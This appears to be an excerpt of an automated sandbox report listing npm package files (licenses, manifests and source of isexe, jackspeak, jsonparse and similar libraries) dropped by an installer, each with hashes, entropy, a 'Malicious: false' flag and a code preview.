SSDEEP:	24:DBCIfKWdtNyXgGC5iy6f02hfMrYzQRHNYsUgdv:DEIflXNyXpyiy6f02hfMrYsRHNvUgt
MD5:	2A44BCC05F54DDDEB33A1776EE7E481A
SHA1:	1A6D0C635F67223D5E3890068F32F2DA46E45151
SHA-256:	B422B8FBB7815542DFBD1B3ADAEC5700249A1934C44A1D994654329C06FC1018
SHA-512:	E44EB173016AEC24C77263FCF5D62468AEE66035675FD4DC4563375EDAC403EF0FFA20C6047FEA4F46B5223F4020F554475865E2ED67D51158E31AFEA097FF05
Malicious:	false
Preview:	module.exports = isexe.isexe.sync = sync..var fs = require('fs')..function checkPathExt (path, options) {. var pathext = options.pathExt !== undefined ?. options.pathExt : process.env.PATHEXT.. if (!pathext) {. return true. }.. pathext = pathext.split(';'). if (pathext.indexOf('') !== -1) {. return true. }. for (var i = 0; i < pathext.length; i++) {. var p = pathext[i].toLowerCase(). if (p && path.substr(-p.length).toLowerCase() === p) {. return true. }. }. return false.}..function checkStat (stat, path, options) {. if (!stat.isSymbolicLink() && !stat.isFile()) {. return false. }. return checkPathExt(path, options).}..function isexe (path, options, cb) {. fs.stat(path, function (er, stat) {. cb(er, er ? false : checkStat(stat, path, options)). }).}..function sync (path, options) {. return checkStat(fs.statSync(path), path, options).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jackspeak\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	4.503076019303801
Encrypted:	false
SSDEEP:	48:BSXnElGBP3DgRyiWU8/OAdJOWi+nlbj0AYan:Bk5BPwyCAdkWFlBfn
MD5:	95E9F67F2840DF3A3A09A77EF3AEA34B
SHA1:	04B424DF89F0C4840F5F64286A19AFD84BEE2466
SHA-256:	8A1AF140FDFBF5AFD3DF27F7E662F989C5B963A300020DFAFCE42033CAE9E004
SHA-512:	B1E087EC6F6E4A139B043C99B203D75AC1AD10C23148DF1417B191DC382649D076C05D0EAF640F667B9C8B1EBE0D0F185E03F0D9F3D6D67D58776EC28E90F0C4
Malicious:	false
Preview:	# Blue Oak Model License..Version 1.0.0..## Purpose..This license gives everyone as much permission to work with.this software as possible, while protecting contributors.from liability...## Acceptance..In order to receive this license, you must agree to its.rules. The rules of this license are both obligations.under that agreement and conditions to your license..You must not do anything with this software that triggers.a rule that you cannot or will not follow...## Copyright..Each contributor licenses you to do everything with this.software that would otherwise infringe that contributor's.copyright in it...## Notices..You must ensure that everyone who gets a copy of.any part of this software from you, with or without.changes, also gets the text of this license or a link to.<https://blueoakcouncil.org/license/1.0.0>...## Excuse..If anyone notifies you in writing that you have not.complied with [Notices](#notices), you can keep your.license by taking all practical steps to comply within

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jackspeak\dist\commonjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	30550
Entropy (8bit):	4.3381528834108725
Encrypted:	false
SSDEEP:	192:48fIpn7LtZbI1rm9mqmzSmJnQKVQsbXuSxLU69kcSM1+iQ09+cJsqbK5SraufthE:dIF+xockULbQV4uaqmf/FhLaGGXb
MD5:	7BF1AA829F66F633904AE8780777677C
SHA1:	FC85ACA55C98D225161033AB1B2B12E84DCFFAA9
SHA-256:	18E9A5D212F8B2C46DE58BF4724AD8D889DE39DA2D7FC0217BF8AF34B94C4055
SHA-512:	A3E8A19502590F50DA25893B02C24DB9ED65067F32BE727ABB7FC6983EAA697E3B04C27D9F21813733F3D25EC786FC79DB8478026F6F94CF789874C5E0A5BAE1
Malicious:	false
Preview:	"use strict";.var __importDefault = (this && this.__importDefault) \|\| function (mod) {. return (mod && mod.__esModule) ? mod : { "default": mod };.};.Object.defineProperty(exports, "__esModule", { value: true });.exports.jack = exports.Jack = exports.isConfigOption = exports.isConfigType = void 0;.const node_util_1 = require("node:util");.const parse_args_js_1 = require("./parse-args.js");.// it's a tiny API, just cast it inline, it's fine.//@ts-ignore.const cliui_1 = __importDefault(require("@isaacs/cliui"));.const node_path_1 = require("node:path");.const width = Math.min((process && process.stdout && process.stdout.columns) \|\| 80, 80);.// indentation spaces from heading level.const indent = (n) => (n - 1) * 2;.const toEnvKey = (pref, key) => {. return [pref, key.replace(/[^a-zA-Z0-9]+/g, ' ')]. .join(' '). .trim(). .toUpperCase(). .replace(/ /g, '_');.};.const toEnvVal = (value, delim = '\n') => {. const str = typeof value === 'string'. ?

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jackspeak\dist\commonjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.6163485660751657
Encrypted:	false
SSDEEP:	3:YRc8fmKALl:YmKALl
MD5:	95B08BC3062CDC4B0334FA9BE037E557
SHA1:	A6E024BC66F013D9565542250AEF50091391801D
SHA-256:	FA6944A20CA5E6FBAF98FD202EB8C7004D5B4AB786E36B9ED02EE31DBE196C9F
SHA-512:	65C66458ABE2101032CDD1B50CA6E643E0C368D09DFA6CC7006B33ED815E106BB20F9AFF118181807E7DF9F5D4D8D9796709B1EC9A7E04544231636FDF8FDF42
Malicious:	false
Preview:	{"type":"commonjs"}

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jackspeak\dist\commonjs\parse-args.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1773
Entropy (8bit):	5.026779527402647
Encrypted:	false
SSDEEP:	48:KBsyqSHuaHELyUFmM7xHZbmmSc7E+zc/4ZRb:KBmqxHELy6D7VZbmmSWE+I/Qb
MD5:	B27FF7C9B0B22C4A12A6DD25A8D57FA3
SHA1:	B99935DE88ACC8E971D8872DED032441773C2B73
SHA-256:	DFF16057CFA4099DDA33A94A2D8C206BD80E45B19E70CECEE3D341C28924F191
SHA-512:	F7D62628BF3085AC6BA72F5A438F56B516E6D2B27E7C5FC196E598C73F30404DBED89244942CAE7B9EA9D0866D7C667EF2C92543025EE55BFE4C823006444E59
Malicious:	false
Preview:	"use strict";.var __createBinding = (this && this.__createBinding) \|\| (Object.create ? (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. var desc = Object.getOwnPropertyDescriptor(m, k);. if (!desc \|\| ("get" in desc ? !m.__esModule : desc.writable \|\| desc.configurable)) {. desc = { enumerable: true, get: function() { return m[k]; } };. }. Object.defineProperty(o, k2, desc);.}) : (function(o, m, k, k2) {. if (k2 === undefined) k2 = k;. o[k2] = m[k];.}));.var __setModuleDefault = (this && this.__setModuleDefault) \|\| (Object.create ? (function(o, v) {. Object.defineProperty(o, "default", { enumerable: true, value: v });.}) : function(o, v) {. o["default"] = v;.});.var __importStar = (this && this.__importStar) \|\| function (mod) {. if (mod && mod.__esModule) return mod;. var result = {};. if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);. __setModuleDef

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jackspeak\dist\esm\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	29978
Entropy (8bit):	4.304436475863612
Encrypted:	false
SSDEEP:	192:xIpn7LtZiI1Um9mqmzSmJnQKVQsbXuSrL269kcSM1+iQ01+cJsqbK5Sraufth0X4:xIUhrqckUDbQl4uaqmE/FuLaGGX+B
MD5:	59C11EC62B6461E55D2B951956C958F9
SHA1:	30B649D52D51E7A0F701F3CE1EBF8068F0459E2D
SHA-256:	8CE811E681C52207996B07E1BDE42D97D934683E775F76B84115322ED10D8639
SHA-512:	1927F80E6312D294E1156CE98F54DEAF7DAAD249EE8C2F885BCF5A2FAD280CB43A55FC18CB216DBC98ED92B80C3F838C87AB8FF7072A3F13FDC7ADD3A4A3D6FB
Malicious:	false
Preview:	import { inspect } from 'node:util';.import { parseArgs } from './parse-args.js';.// it's a tiny API, just cast it inline, it's fine.//@ts-ignore.import cliui from '@isaacs/cliui';.import { basename } from 'node:path';.const width = Math.min((process && process.stdout && process.stdout.columns) \|\| 80, 80);.// indentation spaces from heading level.const indent = (n) => (n - 1) * 2;.const toEnvKey = (pref, key) => {. return [pref, key.replace(/[^a-zA-Z0-9]+/g, ' ')]. .join(' '). .trim(). .toUpperCase(). .replace(/ /g, '_');.};.const toEnvVal = (value, delim = '\n') => {. const str = typeof value === 'string'. ? value. : typeof value === 'boolean'. ? value. ? '1'. : '0'. : typeof value === 'number'. ? String(value). : Array.isArray(value). ? value. .map((v) => toEnvVal(v)). .join(delim).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jackspeak\dist\esm\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.4992275471326932
Encrypted:	false
SSDEEP:	3:YRc8foau:Yoau
MD5:	6138DA8F9BD4F861C6157689D96B6D64
SHA1:	EE2833A41C28830D75B2F3327075286C915ED0DD
SHA-256:	6DC1B06D6B093E9CCCB20BEE06A93836EEE0420AE26803CA2CE4065D82F070D1
SHA-512:	0A3F1CB1522C6E7595186A9A54ED073FFA590B26C7D31B0877F19C925F847037E9F972066BFED62609B190EB2BC21FF7B31514E08C3DE64780FEF5982CBB21F2
Malicious:	false
Preview:	{"type":"module"}

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jackspeak\dist\esm\parse-args.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	706
Entropy (8bit):	4.763737986214199
Encrypted:	false
SSDEEP:	12:CN22XzlVh940OIccOEHBYzY800YB2v0pas0xjaIqqKR+oRjX:Cw2Xz3HpzOyBYdjYBS0p3J0oRjX
MD5:	79F15C80DBB0C33B9957A05E7118CFE3
SHA1:	006D666F61E8705C3FD4DF6D2B6EF6EC8ECB65DA
SHA-256:	97597EF290528B4877405477BDCEA1DDA66B0D18AC125E668EDD001DF3292492
SHA-512:	C60DCC64B59FB4736C741C08A94C95FDF8BE14F83EC828A7B033C3D092D785EA1A2857A19F6D9BA7EDDF5BC1FA1503B1098FD955034C0CD41A1F835137EEBA8E
Malicious:	false
Preview:	import * as util from 'util';.const pv = typeof process === 'object' &&. !!process &&. typeof process.version === 'string'. ? process.version. : 'v0.0.0';.const pvs = pv. .replace(/^v/, ''). .split('.'). .map(s => parseInt(s, 10));./* c8 ignore start /.const [major = 0, minor = 0] = pvs;./ c8 ignore stop /.let { parseArgs: pa, } = util;./ c8 ignore start /.if (!pa \|\|. major < 16 \|\|. (major === 18 && minor < 11) \|\|. (major === 16 && minor < 19)) {. / c8 ignore stop */. // Ignore because we will clobber it for commonjs. //@ts-ignore. pa = (await import('@pkgjs/parseargs')).parseArgs;.}.export const parseArgs = pa;.//# sourceMappingURL=parse-args.js.map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jackspeak\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2157
Entropy (8bit):	4.620174582192484
Encrypted:	false
SSDEEP:	48:OQA4gmZLPIkc4c4qb594O4m/gPREjo5GS/YPFDWpgKasqvDzR:Txvcvlb5smW7gKRqZ
MD5:	6212D00C4F1D5BD0F9C0220E6EE219E1
SHA1:	8940E363CCBC3562F5A24268CD946D0DEDCD7E50
SHA-256:	486F4999529EA0092C0334ACE0D4DBCA32A9A6D098367E8F292D909EB6E0D460
SHA-512:	5418C334BB5588A7657ED4CF4E8DD79C970CD81BF05588CB59CE0F11656DE0EEBFF5E11E20C01305D3B3BDFA6EF0FA9AA77C966F43099058BB0443BF8A4D2C84
Malicious:	false
Preview:	{. "name": "jackspeak",. "version": "2.3.6",. "description": "A very strict and proper argument parser.",. "tshy": {. "main": true,. "exports": {. "./package.json": "./package.json",. ".": "./src/index.js". }. },. "main": "./dist/commonjs/index.js",. "types": "./dist/commonjs/index.d.ts",. "type": "module",. "exports": {. "./package.json": "./package.json",. ".": {. "import": {. "types": "./dist/esm/index.d.ts",. "default": "./dist/esm/index.js". },. "require": {. "types": "./dist/commonjs/index.d.ts",. "default": "./dist/commonjs/index.js". }. }. },. "files": [. "dist". ],. "scripts": {. "build-examples": "for i in examples/*.js ; do node $i -h > ${i/.js/.txt}; done",. "preversion": "npm test",. "postversion": "npm publish",. "prepublishOnly": "git push origin --follow-tags",. "prepare": "tshy",. "pretest": "npm run prepare",. "presnap": "npm run prepare",. "test": "tap"

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\json-parse-even-better-errors\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1209
Entropy (8bit):	5.1426694048968935
Encrypted:	false
SSDEEP:	24:KDrRONJHLH0cPP3gtkHw1hj9QHOsUv4eOk4/+/m3oqMSFgLcZ:KDtONJbbvE/5QHOs5exm3oEFn
MD5:	16D4FF0E774195FA8CEE4940A14E99D6
SHA1:	391A564224B9E883E82E481E622017B8744194F3
SHA-256:	50627796EB4236CD05674E71D090E594447995225B7D94CD59E57C25FA3A0217
SHA-512:	6E5218BA90233F21AE2A3CA5649CC88D06B64CFB83D0CBC1C5368455CFB4623EE331D9E0B312FD601B042EA210FBCF5B6BD8F919EEF49F298CACC59012AC4598
Malicious:	false
Preview:	Copyright 2017 Kat March.n.Copyright npm, Inc...Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING.FROM, OUT OF OR IN CON

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\json-parse-even-better-errors\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3940
Entropy (8bit):	4.866643048374265
Encrypted:	false
SSDEEP:	96:1sof66hVr78RBYpQ7Ysvw747NK9fdrxcyQ+npmxAEPE:qahVrYcpQ7XwUk9fdrKyQ+pmxAuE
MD5:	656189C10DD96C6797231631D4D9A958
SHA1:	D5CCA557C325594B752E460F4E27AA2AEBD8DAB1
SHA-256:	0DB93BAC439C17B6181B97D06E82A1F866A3A7AA90290F6BDEC65354D206D5E4
SHA-512:	7686EE1DC8533CB2D1FE54F001A459905E9937345858E556F0D8643EB06CE91F2AF7D04180186B59E619E9ABA48959B7816EB6D0AE26040560C31932DC6672FF
Malicious:	false
Preview:	'use strict'..const hexify = char => {. const h = char.charCodeAt(0).toString(16).toUpperCase(). return '0x' + (h.length % 2 ? '0' : '') + h.}..const parseError = (e, txt, context) => {. if (!txt) {. return {. message: e.message + ' while parsing empty string',. position: 0,. }. }. const badToken = e.message.match(/^Unexpected token (.) .position\s+(\d+)/i). const errIdx = badToken ? +badToken[2]. : e.message.match(/^Unexpected end of JSON./i) ? txt.length - 1. : null.. const msg = badToken ? e.message.replace(/^Unexpected token ./, `Unexpected token ${. JSON.stringify(badToken[1]). } (${hexify(badToken[1])})`). : e.message.. if (errIdx !== null && errIdx !== undefined) {. const start = errIdx <= context ? 0. : errIdx - context.. const end = errIdx + context >= txt.length ? txt.length. : errIdx + context.. const slice = (start === 0 ? '' : '...') +. txt.slice(start, end) +. (end === txt.length ? '' : '...').. co

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\json-parse-even-better-errors\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1127
Entropy (8bit):	4.7294886396215565
Encrypted:	false
SSDEEP:	24:IG14xhUPYKFw1eyDGKX58LIF5dipH5YlgeJo631V:p4HUPYF1eMX58sTdG5JefFV
MD5:	C729BE6D9FE823260529FC04C006662D
SHA1:	39FB837C1F2D2182630C79EB25FEEEDD75A6077E
SHA-256:	89D8FE7BBD22D05A854DC2E75D0B7E431ABE8E09B712ADBC7C4A9857B0BA044E
SHA-512:	8BCB85271FD0218CBA8D48EA0CA8A9A4979105FAA9A6217A1835727E9B14D0FAD7724C3E7A1AD1BA4DA940EC27383676185DAC8A1AA5EFB5F21DFCC6A875A5EC
Malicious:	false
Preview:	{. "name": "json-parse-even-better-errors",. "version": "3.0.0",. "description": "JSON.parse with context information on error",. "main": "lib/index.js",. "files": [. "bin/",. "lib/". ],. "scripts": {. "test": "tap",. "snap": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint". },. "repository": {. "type": "git",. "url": "https://github.com/npm/json-parse-even-better-errors.git". },. "keywords": [. "JSON",. "parser". ],. "author": "GitHub Inc.",. "license": "MIT",. "devDependencies": {. "@npmcli/eslint-config": "^3.1.0",. "@npmcli/template-oss": "4.5.1",. "tap": "^16.3.0". },. "tap": {. "check-coverage": true,. "nyc-arg": [. "--exclude",. "tap-snapshots/**". ]. },. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "templateOSS": {. "//@npmcli/te

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\json-stringify-nice\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\json-stringify-nice\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1014
Entropy (8bit):	4.7954943317987295
Encrypted:	false
SSDEEP:	24:QuEumOA2C8PSm1F0ZRBtAXPXhp+ehMaHXL8TQGuEmwS2BiZcPVZxN:QuEumOX1PSm1FGlIbhxH785u72icPrxN
MD5:	F507F6656B645BA64B1D98111011E119
SHA1:	E82578B1532B6D7A3E14F15ED0B112501124C81C
SHA-256:	147793D35531640852978AFAC1C00BBB01856F208CBA57428B7BC29683A5EC44
SHA-512:	FEDC9903F662F911F1F375E59D80BAE5E9B986D91A74C5CD7A1ABDDFA359B00193D495E2AF1C219A5AC6E0CE0F94398AFAE4A242C639DBBBE8F6D43B8901C805
Malicious:	false
Preview:	const isObj = val => !!val && !Array.isArray(val) && typeof val === 'object'..const compare = (ak, bk, prefKeys) =>. prefKeys.includes(ak) && !prefKeys.includes(bk) ? -1. : prefKeys.includes(bk) && !prefKeys.includes(ak) ? 1. : prefKeys.includes(ak) && prefKeys.includes(bk). ? prefKeys.indexOf(ak) - prefKeys.indexOf(bk). : ak.localeCompare(bk, 'en')..const sort = (replacer, seen) => (key, val) => {. const prefKeys = Array.isArray(replacer) ? replacer : [].. if (typeof replacer === 'function'). val = replacer(key, val).. if (!isObj(val)). return val.. if (seen.has(val)). return seen.get(val).. const ret = Object.entries(val).sort(. ([ak, av], [bk, bv]) =>. isObj(av) === isObj(bv) ? compare(ak, bk, prefKeys). : isObj(av) ? 1. : -1. ).reduce((set, [k, v]) => {. set[k] = v. return set. }, {}).. seen.set(val, ret). return ret.}..module.exports = (obj, replacer, space = 2) =>. JSON.stringify(obj, sort(replacer, new Map()), space). + (space

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\json-stringify-nice\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1085
Entropy (8bit):	4.694385087895049
Encrypted:	false
SSDEEP:	24:3GqV1FVymx18vyyNPgKgWerP1w1gQPY12peZg7YUOeGq0:3Z/FV9xOyyNPgKber94LY12pem7eeZ0
MD5:	0DB2DF94DF2CBC8CC6ADF188846A68CF
SHA1:	ADEF02A4345A493535CCB990B09F850508AE516F
SHA-256:	B1517D9A73D96ECF3B9C8B868F48E2BEA71B8E13631BFCEB2D7E9CE5830E69FA
SHA-512:	97B87B4422CB772738E34B9202D30C961126112E331C4F13254E9DC0CEE5257B46E6341442A0BF895B6D2067B4BC346FCAF154C327B175D19373987A404DA9E6
Malicious:	false
Preview:	{. "name": "json-stringify-nice",. "version": "1.1.4",. "description": "Stringify an object sorting scalars before objects, and defaulting to 2-space indent",. "author": "Isaac Z. Schlueter <i@izs.me> (https://izs.me)",. "license": "ISC",. "scripts": {. "test": "tap",. "posttest": "npm run lint",. "snap": "tap",. "postsnap": "npm run lintfix",. "eslint": "eslint",. "lint": "npm run eslint -- index.js test/*/.js",. "lintfix": "npm run lint -- --fix",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "tap": {. "test-env": [. "LC_ALL=sk". ],. "check-coverage": true. },. "devDependencies": {. "eslint": "^7.25.0",. "eslint-plugin-import": "^2.22.1",. "eslint-plugin-node": "^11.1.0",. "eslint-plugin-promise": "^5.1.0",. "eslint-plugin-standard": "^5.0.0",. "tap": "^15.0.6". },. "funding": {. "url": "https://github.com/sponsors/isaacs". },. "repository"

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1087
Entropy (8bit):	5.068860074291689
Encrypted:	false
SSDEEP:	24:ZR4RHfHSyPPiPtvuHw15l9QHTusUY8Ok4Mdpo3YqDFD:ZyRPjPalVHQHTusvIjS3YOFD
MD5:	566D04C41BFBE138F33E4FFD343E11E4
SHA1:	92D015C08FF4F16E9C86997887BB9DEA677F9C18
SHA-256:	ED251DC3A48522399FFFE95FE04D94FBCADCD9EDD0E7689F3B71CF73403A6138
SHA-512:	A113C0F7F9C1D1A7E62DF47C40D2F6ACB2CC1084D815FD0BC2C2365E524C5C241B87FAAE731A89B81C734A9208A8A51CA3E3BDFD155D50B776F76C0209F915CA
Malicious:	false
Preview:	The MIT License..Copyright (c) 2012 Tim Caswell..Permission is hereby granted, free of charge, .to any person obtaining a copy of this software and .associated documentation files (the "Software"), to .deal in the Software without restriction, including .without limitation the rights to use, copy, modify, .merge, publish, distribute, sublicense, and/or sell .copies of the Software, and to permit persons to whom .the Software is furnished to do so, .subject to the following conditions:..The above copyright notice and this permission notice .shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, .EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES .OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. .IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR .ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, .TORT OR OTHERWISE, ARISING FROM, OU

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\bench.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	556
Entropy (8bit):	4.752239266233165
Encrypted:	false
SSDEEP:	12:pBAvoFnIAtbHK6Fh4ZYbI/IvVVvN8ZKHzXtv:fiYnBV4ZV6VVv2azXtv
MD5:	5FE57314EAB02419002A5677990F59E8
SHA1:	82CD080436637B5AEB180A37862B50D33ED4530D
SHA-256:	4C57B725091BBC8AD7C85A57F9A529128C2144EBA897AC5307269CBAF642AC21
SHA-512:	6F1A2CB8963FFF68F8A57DF74C6D984D2B1049690DEC44AB89A51D4465A6A8006783A74E61C421698FD017DF0ADB62C28AA7D3E629D7974F20D9A25C5C89C2BB
Malicious:	false
Preview:	var fs = require('fs'),. Parser = require('./jsonparse');...var json = fs.readFileSync("samplejson/basic.json");...while (true) {. var start = Date.now();. for (var i = 0; i < 1000; i++) {. JSON.parse(json);. }. var first = Date.now() - start;.. start = Date.now();. var p = new Parser();. for (var i = 0; i < 1000; i++) {. p.write(json);. }. var second = Date.now() - start;... console.log("JSON.parse took %s", first);. console.log("streaming parser took %s", second);. console.log("streaming is %s times slower", second / first);.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\examples\twitterfeed.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	4.938220409101365
Encrypted:	false
SSDEEP:	24:RaQ9DFVpa2+NV+KuHt/EjU9bQgM6Ah9RDk0iTSi3rui74F:RaGZDafV+KuHt/ceQgMzJJcM
MD5:	7EC31B251C74B78DBF111C6C972D1FE2
SHA1:	18685AE252AE4159D32CC8784909484E6AD027D8
SHA-256:	D7E0AB747DFBB9144B5D8F6EE4C74FAB90B944CA6950F3AFA6242F323487B787
SHA-512:	18598EE100AEA0B5B9AEE7CB94B39CFA2F5F83BB93EE9C441DE505F4792A02EDA0F8D47E8889D0EF50EC157352A63EEEC05744BAC0D47222638BD43AEDF83E76
Malicious:	false
Preview:	var Parser = require('../jsonparse');.var Http = require('http');.require('./colors');.var p = new Parser();.var cred = require('./credentials');.var client = Http.createClient(80, "stream.twitter.com");.var request = client.request("GET", "/1/statuses/sample.json", {. "Host": "stream.twitter.com",. "Authorization": (new Buffer(cred.username + ":" + cred.password)).toString("base64").});.request.on('response', function (response) {. console.log(response.statusCode);. console.dir(response.headers);. response.on('data', function (chunk) {. p.write(chunk);. });. response.on('end', function () {. console.log("END");. });.});.request.end();.var text = "", name = "";.p.onValue = function (value) {. if (this.stack.length === 1 && this.key === 'text') { text = value; }. if (this.stack.length === 2 && this.key === 'name' && this.stack[1].key === 'user') { name = value; }. if (this.stack.length === 0) {. console.log(text.blue + " - " + name.yellow);. text = name = "";. }.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\jsonparse.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15570
Entropy (8bit):	4.943609287417881
Encrypted:	false
SSDEEP:	192:svqwQatp2L3g1k7DLD2Kk0kRJGa5QLFfQQ8Wa2xB/EpGxxpzwxGtJ3dCqT0sr1fh:sYvzpIqLFyP/jCRZ
MD5:	960C7FD2E8C313C8F63E8C73C0A82749
SHA1:	4829ECBEFCD51EB002D56B4F335759209F41CC72
SHA-256:	8FEE0DA896C802CCC73D8F0DB740625AD0DD6B403A7BC5C86F4AFDD17BA8941E
SHA-512:	EEA64B414C7CE45DB0AE6ADAEF8BD11734E601263374EDA70161653E2756EC30115A1ADF36C121AE2056CBF9A2584AC0804FD41A5F43D3810DB9342332FEA852
Malicious:	false
